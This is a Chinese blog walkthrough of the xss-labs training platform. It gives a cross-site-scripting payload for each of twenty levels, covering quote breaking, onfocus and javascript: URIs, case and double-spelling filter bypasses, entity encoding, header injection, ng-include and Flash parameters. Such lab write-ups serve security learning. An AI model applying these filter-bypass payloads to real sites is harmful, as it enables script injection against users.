xss-labs

本文详细描述了一种通过逐步渗透,针对页面源码中的特殊字符转义和过滤机制,利用JavaScript代码、onfocus事件、URL编码等手段进行XSS注入的过程,展示了攻击者如何巧妙绕过防御,实现代码执行。
摘要由CSDN通过智能技术生成

level-01

查看源码,没有任何过滤,直接插入js代码即可

name=<script>alert()</script> 

level-02 

查看页面源码,和第一关一样插入js代码试试

<script>alert()</script>

发现没有成功 

查看页面源码,特殊符号被实体转义了

第一个test被实体转义了,而第二个没有,使用双引号闭合即可

">  <script>alert()</script>  <"

查看源码,发现进行了特殊符号的实体转义 

level-03 

 输入<script>alert()</script>后查看页面源代码,发现为单引号闭合

使用单引号闭合'><script>alert()</script><' 

还是不行,查看页面源代码<>符号被实体转义

所以在这儿使用onfocus事件绕过

onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

 ' οnfοcus=javascript:alert() '

然后再点击输入框,触发onfoucus事件

level-04 

查看页面源码,为双引号闭合,使用了input标签,可以使用onfocyus事件

" οnfοcus=javascript:alert() "

查看这一关的源码,<>字符被过滤

level-05 

查看页面源码,为双引号闭合

" οnfοcus=javascript:alert() " ,发现之前的方法行不通,on被替换成了o_n

查看源码,过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,这里我们用a href标签法

添加一个标签得闭合前面的标签,构建payload 

"> <a href=javascript:alert()>xxx</a> <"

之后点击xxx

level-06 

查看页面源代码

输入关键字进行测试 ,发现过滤了很多

onfocus <script> <a href=javascript:alert()> 

尝试使用大小写绕过,发现大小写没有被过滤,所以这关可以使用大小写绕过

OnFocus <sCriPt> <a hReF=javascript:alert()>

 "> <ScriPt>alert()</ScriPt> <"

查看源码,这关没有对大小写进行过滤,所以可以使用大写进行绕过

 level-07

先尝试关键字,看哪些被过滤了" OnFocus <sCriPt> <a hReF=javascript:alert()>

可以发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level-08

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

查看页面源码,看过滤了什么

可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"

查看源码,可以利用href的隐藏属性自动Unicode解码,插入一段js伪协议

 javascript:alert()

利用在线工具进行Unicode编码后得到

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

level-09 

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

查看页面源码,看过滤了什么

查看源码,当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload 

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

 level-10

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

查看页面源码,看什么被过滤了

特殊字符被实体化, input标内容被隐藏了,查看源码,这里是get传参t_sort,过滤掉了<>号,不能闭合插入标签,但是还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

?t_sort=" οnfοcus=javascript:alert() type="text

level-11 

通过查看页面源码<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看

Get传参

?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

没有赋值成功,尝试post传参

t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

还是没能成功,使用burp suite抓包添加http头 

 Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

查看页面源码,将<>过滤掉了

 使用Referer: " οnfοcus=javascript:alert() type="text

level-12

查看页面源码可知这关要修改ua头

用burp suite抓包修改ua头

" οnfοcus=javascript:alert() type="text

level-13 

通过查看页面源码可知,要修改的值为cookie

用F12打开该页面的cookie进行修改

" οnfοcus=javascript:alert() type="text

level-15

 ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

?src='/level1.php?name=<img src=1 οnmοuseοver=alert()>'

鼠标移动到图片上时就会触发弹窗

level-16 

 通过查看页面源码可知,test插入到了center标签中,不需要进行闭合,先测试什么被过滤掉了

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化 

查看源码

空格被过滤掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签

?keyword=<svg%0Aοnlοad=alert(1)>

level-17 

先测试一下关键字

?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

特殊符号发生转义,但是不需要闭合,点击后缀名为swf的文件,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png

再重新打开第十七关,就会出现图片

arg01=a&arg02=b οnmοuseοver=alert(1)

level-18 

查看源码和上一关差不多,使用同样的方法

 arg01=a&arg02=b οnmοuseοver=alert(1)

level-19

通过查看页面源码,需要进行闭合

 

往Flash里面插入一段js代码,?arg01=version&arg02=<a href="javascript:alert()">here</a>

level-20 

与前面的关卡差不多,需要对swf反编译,构造payload

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

XSS-labs是一个用于学习和测试跨站脚本攻击(XSS)的平台。根据引用\[1\],在学习了XSS的基础知识并完成了一些简单的XSS测试后,可以开始攻略XSS-labs。不过需要注意的是,对于XSS-labs,我们只需大致了解一些思路即可,因为在实际的应用中,很少会有这种复杂的情况,但在CTF比赛中可能会更常见。 根据引用\[2\],XSS-labs的安装和下载可以通过相关的渗透测试平台或者从官方网站获取。安装完成后,可以开始进行XSS攻击的实践。 在XSS-labs中,可以通过构造特定的payload来触发XSS漏洞。根据引用\[2\]和\[3\]的示例,可以使用ng-include或者src参数来构造包含XSS漏洞的URL。例如,可以构造一个类似于以下的payload来触发XSS漏洞: src='level1.php?name=<a type="text" href="javascript:alert(1)">' 或者 127.0.0.1/xss-labs/level15.php?src='level1.php?name=<a href="javascript:alert(/xss/)">' 通过构造合适的payload,可以利用XSS-labs平台进行XSS攻击的实践和学习。请注意,在实际应用中,XSS攻击是违法行为,请遵守法律法规并仅在合法授权的情况下进行安全测试。 #### 引用[.reference_title] - *1* *2* [渗透学习-靶场篇-XSS-labs(持续更新中)](https://blog.csdn.net/qq_43696276/article/details/127024861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [xss-labs搭建及通关攻略](https://blog.csdn.net/K_ShenH/article/details/122765092)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值